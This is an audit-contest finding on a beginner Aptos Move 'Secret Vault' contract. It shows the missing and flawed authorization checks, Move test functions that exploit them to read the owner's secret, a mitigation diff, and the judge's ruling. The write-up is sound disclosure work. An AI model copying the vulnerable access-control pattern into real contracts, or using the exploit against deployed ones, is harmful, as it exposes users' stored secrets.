Secret Vault

First Flight #46
Beginner FriendlyWallet
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Valid

Complete Loss of Confidentiality in Secret Vault Due to Flawed Access Control

Root + Impact

Description

  • The vault::set_secret function lacks an authorization check to verify that the caller is the contract owner. This allows any user to create a Vault resource under their own account.

public entry fun set_secret(caller:&signer,secret:vector<u8>){
@> // lack of access control
let secret_vault = Vault{secret: string::utf8(secret)};
move_to(caller,secret_vault);
event::emit(SetNewSecret {});
}
  • The vault::get_secret function performs a flawed authorization check. It validates a user-provided address parameter against the owner's address, instead of verifying &signer. This allows any attacker to pass in the owner's public address and read the secret.

#[view]
public fun get_secret (caller: address):String acquires Vault{
@> assert! (caller == @owner,NOT_OWNER); // improper implemention of access control
let vault = borrow_global<Vault >(@owner);
vault.secret
}

Risk

The contract contains two distinct access control vulnerabilities, both of which are trivial to exploit. The overall risk is rated High/High due to the critical impact of the information disclosure flaw.

Likelihood: High

  • Any user calls the vault::set_secretentry function to create a Vault resource under their own account, as the function lacks an ownership check.

  • Any user calls the vault::get_secret view function, providing the owner's publicly known address as the caller argument to bypass the flawed authorization check.

Impact: High

  • [Critical] Complete loss of confidentiality for the owner's secret. The stored value becomes publicly readable by anyone, rendering the contract's primary security guarantee useless.

  • [Medium] Violation of the contract's intended design. Unauthorized users can create their own Vault instances, which breaks the specified "single-owner" model and leads to unnecessary state bloat on the blockchain.

Proof of Concept

module secret_vault::vault{
use std::signer;
use std::string::{Self, String};
use aptos_framework::event;
#[test_only]
use std::debug;
/// Error codes
const NOT_OWNER: u64 = 1;
struct Vault has key {
secret: String
}
// events
#[event]
struct SetNewSecret has drop, store {
}
public entry fun set_secret(caller:&signer,secret:vector<u8>){
let secret_vault = Vault{secret: string::utf8(secret)};
move_to(caller,secret_vault);
event::emit(SetNewSecret {});
}
//// view functions
#[view]
public fun get_secret (caller: address):String acquires Vault{
assert! (caller == @owner,NOT_OWNER);
let vault = borrow_global<Vault >(@owner);
vault.secret
}
#[test(owner = @0xcc, user = @0x123)]
fun test_secret_vault(owner: &signer, user: &signer) acquires Vault{
use aptos_framework::account;
// Set up test environment
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
// Create a new todo list for the user
let secret = b"i'm a secret";
set_secret(owner,secret);
// Get the owner address
let owner_address = signer::address_of(owner);
// Verify the secret was added
let valut = borrow_global<Vault>(owner_address);
assert!(valut.secret == string::utf8(secret), 4);
debug::print(&b"All tests passed!");
}
#[test(owner=@0xcc, attacker=@0xb)]
fun exploit_set_secret(owner:&signer, attacker:&signer) {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(attacker));
// anyone can set_secret
let secret = b"i'm a secret";
set_secret(attacker,secret);
debug::print(&b"Exploit set_secret successed!");
}
#[test(owner=@0xcc, attacker=@0xb)]
fun exploit_get_secret(owner:&signer, attacker:&signer) acquires Vault {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(attacker));
// owner set_secret
let secret = b"i'm a secret";
set_secret(owner,secret);
// anyone one can get_secret use hard-coding address as arguments
assert!(string::utf8(secret) == get_secret(@0xcc));
debug::print(&b"Exploit get_secret successed!");
}
}

Recommended Mitigation

--- sources/secret_vault.move
+++ sources/secret_vault.move
@@ -17,6 +17,7 @@ module secret_vault::vault{
}
public entry fun set_secret(caller:&signer,secret:vector<u8>){
+ assert! (signer::address_of(caller) == @owner,NOT_OWNER);
let secret_vault = Vault{secret: string::utf8(secret)};
move_to(caller,secret_vault);
event::emit(SetNewSecret {});
@@ -24,9 +25,8 @@ module secret_vault::vault{
//// view functions
- #[view]
- public fun get_secret (caller: address):String acquires Vault{
- assert! (caller == @owner,NOT_OWNER);
+ public fun get_secret (caller: &signer):String acquires Vault{
+ assert! (signer::address_of(caller) == @owner,NOT_OWNER);
let vault = borrow_global<Vault >(@owner);
vault.secret
@@ -55,5 +55,5 @@ fun test_secret_vault(owner: &signer, user: &signer) acquires Vault{
debug::print(&b"All tests passed!");
}
-
+
}
Updates

Lead Judging Commences

bube Lead Judge 13 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of signer check in `get_secret`

Anyone can call `set_secret` function

In Move for Aptos, the term "owner" refers to a signer, which is a verified account that owns a given resource, has permission to add resources and the ability to grant access or modify digital assets. Following this logic in this contest, the owner is the account that owns `Vault`. This means that anyone has right to call `set_secret` and then to own the `Vault` and to retrieve the secret from the `Vault` in `get_secret` function. Therefore, this group is invalid, because the expected behavior is anyone to call the `set_secret` function.

Appeal created

unpwn4bl3 Submitter
12 days ago
bube Lead Judge
11 days ago
bube Lead Judge 11 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of signer check in `get_secret`

Anyone can call `set_secret` function

In Move for Aptos, the term "owner" refers to a signer, which is a verified account that owns a given resource, has permission to add resources and the ability to grant access or modify digital assets. Following this logic in this contest, the owner is the account that owns `Vault`. This means that anyone has right to call `set_secret` and then to own the `Vault` and to retrieve the secret from the `Vault` in `get_secret` function. Therefore, this group is invalid, because the expected behavior is anyone to call the `set_secret` function.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.